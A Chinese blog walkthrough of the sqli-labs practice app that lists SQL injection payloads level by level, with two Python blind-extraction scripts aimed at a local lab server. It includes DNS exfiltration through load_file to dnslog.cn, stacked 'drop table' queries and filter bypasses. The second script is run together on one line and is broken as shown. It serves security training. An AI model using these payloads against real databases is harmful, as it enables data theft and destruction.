sqli-labs做题记录

sqli-labs做题记录,第1张

目录

Page-1(Basic Challenges)less1-20

1,基于单引号的字符型注入

2,数值型注入

3,基于')的字符型注入

4,基于")字符型注入

5,基于'字符型的错误回显注入

6,基于"字符型的错误回显注入

7,SQL注入写文件

8,基于'的盲注(利用dnslog回显)

9,基于'的时间盲注

10,基于"的时间盲注

11,基于'的POST型注入

12,基于")的POST型注入

13,基于')的错误回显注入

14,基于"的错误回显注入

15,基于'的POST型盲注(可利用dnslog回显)

16,基于")的POST型盲注

17,基于'的密码报错注入

18,基于'的user-agrnt注入

19,基于'的Referer注入

20,基于'的Cookie注入

Page-2(Advanced Injections)less21-37

21,基于')的cookie注入

22,基于"的cookie注入

23,过滤(--,#)的'注入

24,二次注入

25,基于'的过滤(or,and)的注入

25a,过滤(or,and)的注入

26,基于'的过滤(or,and,空格)的注入

26a,基于')的过滤(or,and,空格)的盲注

27,基于'的过滤(--,#,空格,union,select)的注入

27a,基于"的过滤(--,#,空格,union,select)的注入

28,基于')的过滤(--,#,空格,union,select)的注入

28a,基于')的过滤(union select)的注入

29,基于'的注入

29,login.php。


参数污染

30,基于"的注入

30,login.php。


参数污染

31,基于")的注入

31,login.php。


参数污染

32,宽字节注入

33,宽字节注入

34,POST型宽字节注入

35,数值型不需要考虑'转义情况

36,GET绕过mysql_real_escape_string

37,POST绕过mysql_real_escape_string

Page-3(Stacked Injections)less38-53

38,基于'的堆叠注入

39,基于数值型的堆叠注入

40,基于')的堆叠注入

41,基于数值型的堆叠注入

42,基于'堆叠注入,密码参数

43,基于')堆叠注入,密码参数

44,基于'堆叠注入,密码参数

45,基于')堆叠注入,密码参数

46,基于数值型的order by 报错注入

47,基于'的order by 报错注入

48,基于数值型的order by 盲注

49,基于'的order by 盲注

50,基于数值型的order by堆叠注入

51,基于'的order by堆叠注入

52,基于数值型的order by堆叠注入

53,基于'的order by堆叠注入

Page-4(Challenges)less54-75

54,拿到数据库中的key(10次查询机会)

55,同54闭合方式由'换成)

56,同54闭合方式由'换成')

57,同54闭合方式由'换成"

58,报错注入(5次查询机会)

59,同58,ID为数值型不需要闭合

60,同58闭合方式由'换成")

61,同58闭合方式由'换成'))

62,盲注(130次请求限制)

63,同62闭合方式由')换成'

64,同62闭合方式由')换成))

65,同62闭合方式由')换成")


Page-1(Basic Challenges)less1-20 1,基于单引号的字符型注入
id=-1' union select 1,2,3; --+
2,数值型注入
id=-1 union select 1,2,3; --+
3,基于')的字符型注入
id=-1')union select 1,2,3 ; --+
4,基于")字符型注入
id=-1") union select 1,2,3 --+
5,基于'字符型的错误回显注入
id=' union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+
6,基于"字符型的错误回显注入
id=" union select 1,extractvalue(1,concat(0x7e,'payload')),3 --+
7,SQL注入写文件

mysql读写文件设置:secure_file_priv=

id=1')) union select 1,2,'' into outfile"" --+
8,基于'的盲注(利用dnslog回显)
id=1' and load_file(concat("\\",(database()),".f8lzlp.dnslog.cn\1.txt")) --+
9,基于'的时间盲注

获取数据库名字:

#coding:utf-8
import requests
import time
 
ip_port="192.168.2.9:80"

session=requests.session()
#获取数据库名长度
def get_length_of_database():
    i=1
    while True:
        url="http://%s/sqli-labs/Less-8/?id=1' and length(database())=%d and sleep(2) --+"%(ip_port,i)
        startTime=time.time()
        rsq=session.get(url)
        endTime=time.time()
        ga=endTime-startTime
        if ga>2:
            return i
        i=i+1

#获取数据库名字
def get_name_of_database():
    length_of_database=get_length_of_database()
    name_of_database=""
    for j in range(1,length_of_database):
        for k in range(33,127):
            url="http://%s/sqli-labs/Less-8/?id=1' and ascii(substr(database(),%d,1))=%d and sleep(2) -- &action=search"%(ip_port,j,k)
            startTime=time.time()
            rsq=session.get(url)
            endTime=time.time()
            ga=endTime-startTime
            if ga>2:
                name_of_database+=chr(k)
                break
    return name_of_database

if __name__=='__main__':
    print(get_name_of_database())
10,基于"的时间盲注 11,基于'的POST型注入
1' union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
12,基于")的POST型注入
1") union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
13,基于')的错误回显注入
1') union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
14,基于"的错误回显注入
1" union select 1,extractvalue(1,concat(0x7e,'payload')),3 #
15,基于'的POST型盲注(可利用dnslog回显)
1' and load_file(concat("\\",(database()),".qyfyji.dnslog.cn\1.txt")) #
16,基于")的POST型盲注
admin") and length(database())=8 and sleep(10) #
17,基于'的密码报错注入
1' and extractvalue(1,concat(0x7e,database())) #
18,基于'的user-agrnt注入
User-Agent: ',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
19,基于'的Referer注入
 ',1,updatexml(1,concat(0x7e, user(),0x7e),1))#
20,基于'的Cookie注入
Cookie: uname=1'and extractvalue(1,concat(0x7e,user())) #
Page-2(Advanced Injections)less21-37 21,基于')的cookie注入
Cookie: uname=') union select 1,user(),3 #        (需要对值进行base64编码)
22,基于"的cookie注入
Cookie: uname=" union select 1,2,3 #         (需要对值进行base64编码)
23,过滤(--,#)的'注入
id=-1' union select 1,2,3 and '1'='1
24,二次注入

创建用户admin' #        重置密码会修改admin用户密码。


25,基于'的过滤(or,and)的注入
id=-1' union select 1,2,3 --+
25a,过滤(or,and)的注入
id=-1 union select 1,2,3
26,基于'的过滤(or,and,空格)的注入
id=-1'anandd(extractvalue(1,concat(0x7e,user())))anandd'1'='1
26a,基于')的过滤(or,and,空格)的盲注 27,基于'的过滤(--,#,空格,union,select)的注入
id=1'and(updatexml(1,concat(0x7e,user()),1))and'1'='1
27a,基于"的过滤(--,#,空格,union,select)的注入
id=1"and(updatexml(1,concat(0x7e,user()),1))and"1"="1
28,基于')的过滤(--,#,空格,union,select)的注入
id=a')
union
all
select
1,2,('3

(换行符替换空格)

进行url编码

id=a')%0aunion%0aall%0aselect%0a1%2c2%2c('3
28a,基于')的过滤(union select)的注入
id=-1') union all select 1,2,('3
29,基于'的注入
id=-1' union select 1,2,'3
29,login.php。


参数污染

id=1&id=-2'union select 1,2,'3
30,基于"的注入
id=-1" union select 1,2,"3
30,login.php。


参数污染

id=1&id=-2" union select 1,2,"3
31,基于")的注入
id=1") union select 1,2,("3
31,login.php。


参数污染

id=1&id=-2") union select 1,2,("3
32,宽字节注入
id=-1%df' union select 1,2,3 --+
33,宽字节注入
id=-1%df' union select 1,2,3 --+
34,POST型宽字节注入
uname=admin%df' union select 1,2 -- -&passwd=admin&submit=Submit
35,数值型不需要考虑'转义情况
id=-1 union select 1,2,3 --+
36,GET绕过mysql_real_escape_string
id=-1%df' union select 1,2,3 --+
37,POST绕过mysql_real_escape_string
uname=admin%df%27 union select 1,2 
Page-3(Stacked Injections)less38-53 38,基于'的堆叠注入
id=1';create database ma123 default charset utf8; --+
39,基于数值型的堆叠注入
id=1;create database less39 default charset utf8; --+
40,基于')的堆叠注入
id=1');create database less40 default charset utf8 --+
41,基于数值型的堆叠注入
id=1;create database less41 default charset utf8 --+
42,基于'堆叠注入,密码参数
a';drop table less42;#
43,基于')堆叠注入,密码参数
q');create database less43 default charset utf8; --+
44,基于'堆叠注入,密码参数
as';create database less44 default charset utf8; --+
45,基于')堆叠注入,密码参数
aa');create database less45 default charset utf8;--+
46,基于数值型的order by 报错注入
sort=1 and extractvalue(1,concat(0x7e,user())) --+
47,基于'的order by 报错注入
sort=1' and extractvalue(1,concat(0x7e,user())) --+
48,基于数值型的order by 盲注
sort=1 and length(database())=8 and sleep(3) --+
49,基于'的order by 盲注
sort=1' and length(database())=8 and sleep(3) --+
50,基于数值型的order by堆叠注入
sort=1;create database less50 default charset utf8; --+
51,基于'的order by堆叠注入
sort=1';create database less51 default charset utf8; --+
52,基于数值型的order by堆叠注入
sort=1;create database less52 default charset utf8; --+
53,基于'的order by堆叠注入
sort=1';create database less53 default charset utf8; --+
Page-4(Challenges)less54-75 54,拿到数据库中的key(10次查询机会)
爆表名
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() ;--+
爆列名
id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='37k2u0fbsh' ;--+
爆数据
id=-1' union select 1,2,secret_BXYU from 37k2u0fbsh ;--+
输入key。


55,同54闭合方式由'换成) 56,同54闭合方式由'换成') 57,同54闭合方式由'换成" 58,报错注入(5次查询机会)
爆表名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
爆列名
id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='769b0z0f8f'))) --+
爆数据
id=1' and extractvalue(1,concat(0x7e,(select secret_OY8Y from 769b0z0f8f))) --+
输入key。


59,同58,ID为数值型不需要闭合 60,同58闭合方式由'换成") 61,同58闭合方式由'换成')) 62,盲注(130次请求限制)
# coding:utf-8
# 基于字符串比特位匹配的盲注脚本
import time
 
import requests
import re
import os
 
sql_fp = "1')%260%7c"
# 由于服务器响应慢,正常返回为2s多,sleep(0.1)延时1s
sql_cmd = sql_fp + "(select case bin(ascii(substr(@0_name, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0_name, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from information_schema.@0s where table_schema=database() @4 )  --+"
sql_search = sql_fp + "(select case bin(ascii(substr(@0, @1, 1))>>@2) %26 (POW(2,0)%2BPOW(2,1)%2BPOW(2,2))" \
                   "when 0 then 1 " \
                   "when 1 then 2 " \
                   "when 2 then 3 " \
                   "when 3 then 4 " \
                   "when 4 then 5 " \
                   "when 5 then 6 " \
                   "when 6 then 7 " \
                   "when 7 then 8 else 9 end " \
                   "%7c (if((bin(ascii(substr(@0, @1, 1))>>@3) %26 POW(2,0)) = 1,sleep(1),1) %26 0)" \
                   "from @4 )  --+"
url = 'http://192.168.2.9/sqli-labs/less-62/?id='
state_list = []
rp = 'Your\s*Login\s*name\s*:\s*(.*?)

' rc = 1 def main(): if os.path.exists('./bsl.txt'): print('文件存在') with open('./bsl.txt', 'r') as f: res = f.read().split('\n') for i in res: if i != '': state_list.append(i) else: print('文件不存在') # 0.爆破状态表 print('收集状态表') state_list.append('0') for i in range(1, pow(2, 3)+2): u = url + str(i) respond = requests.get(u) state_list.append(re.findall(rp, respond.text)[0]) print('.', end='') with open('./bsl.txt', 'w') as f: f.write('\n'.join(state_list)) print('写入完成') print('爆破状态表:') print(state_list) # @ 表名 table_name_list = [] if input('是否指定表名? y/n:') != 'y': print('[~]进行表名判断') for i in range(1, 11): c = 0 # 1.判断 字符的第0,1,2,6位 # 010 大写字母; 011 小写字母; 001 数字 state = req('table', i, 0, 6) c = c | state[0] | state[1] << 6 # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) # 2.判断 字符的第3,4,5,7位 state = req('table', i, 3, 7) c = c | state[0] << 3 | state[1] << 7 # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) print('第{:d}个字符为:[ {} ]'.format(i, chr(c))) table_name_list.append((chr(c))) table_name = ''.join(table_name_list) print('爆破表名为: [ {} ]'.format(table_name)) else: table_name = input('输入表名:').strip() # @字段名 column_name_list = [] offset = 7 if input('是否指定字段名? y/n:') != 'y': print('[~]进行第三个字段名名判断,从第7个字符,判断4个字符出来') for i in range(1, 5): c = 0 # 1.判断 字符的第0,1,2,6位 # 010 大写字母; 011 小写字母; 001 数字 state = req('column', i+offset, 0, 6, table_name=table_name) c = c | state[0] | state[1] << 6 # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) # 2.判断 字符的第3,4,5,7位 state = req('column', i+offset, 3, 7, table_name=table_name) c = c | state[0] << 3 | state[1] << 7 # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) print('第{:d}个字符为:[ {} ]'.format(i, chr(c))) column_name_list.append((chr(c))) column_name = 'secret_' + ''.join(column_name_list) print('爆破的字段名为:[ {} ]'.format(column_name)) else: column_name = input('输入字段名:').strip() # 9u8573nri2 # secret_WJWE # @字段内容 value_list = [] print('[~]字段值进行枚举中....') for i in range(1, 25): c = 0 # 1.判断 字符的第0,1,2,6位 # 010 大写字母; 011 小写字母; 001 数字 state = search(column_name, table_name, i, 0, 6) c = c | state[0] | state[1] << 6 # print(state, '第{:d}个字符的0-2,6位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) # 2.判断 字符的第3,4,5,7位 state = search(column_name, table_name, i, 3, 7) c = c | state[0] << 3 | state[1] << 7 # print(state, '第{:d}个字符的3-5,7位为:{},{}'.format(i, str(bin(state[0]))[2:5], state[1])) print('第{:d}个字符为:[ {} ]'.format(i, chr(c))) value_list.append((chr(c))) value = ''.join(value_list) print('爆破表名为: [ {} ]'.format(table_name)) print('爆破的字段名为:[ {} ]'.format(column_name)) print('[!]{}的值为:[ {} ]'.format(column_name, value)) def req(type, i, co, ci, **kwargs): global rc rl = [] t = sql_cmd if type == 'column': ep = "and table_name = '{}' limit 2,1".format(kwargs['table_name']) else: ep = '' sql = t.replace('@0', type).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)).replace('@4', ep) u = url + sql print('[!]第{:d}次请求......'.format(rc)) rc = rc + 1 time_start = time.time() respond = requests.get(u) print(u) time_end = time.time() timeReal = time_end - time_start # print(respond.text) rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1) # print(timeReal) if timeReal > 4: rl.append(1) else: rl.append(0) return rl def search(cn, tn, i, co, ci): global rc rl = [] t = sql_search sql = t.replace('@0', cn).replace('@4', tn).replace('@1', str(i)).replace('@2', str(co)).replace('@3', str(ci)) u = url + sql print('[!]第{:d}次请求......'.format(rc)) rc = rc + 1 time_start = time.time() respond = requests.get(u) time_end = time.time() timeReal = time_end - time_start # print(respond.text) rl.append(getIndex(state_list, re.findall(rp, respond.text)[0]) - 1) # print(timeReal) if timeReal > 4: rl.append(1) else: rl.append(0) return rl def getIndex(bl, value): for i, e in enumerate(bl): if e == value: return i return -1 if __name__ == '__main__': main()

参考:[靶场] SQLi-Labs Less62-Less69_3hex的博客-CSDN博客

63,同62闭合方式由')换成' 64,同62闭合方式由')换成)) 65,同62闭合方式由')换成")

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/584519.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-12
下一篇 2022-04-12

发表评论

登录后才能评论

评论列表(0条)

保存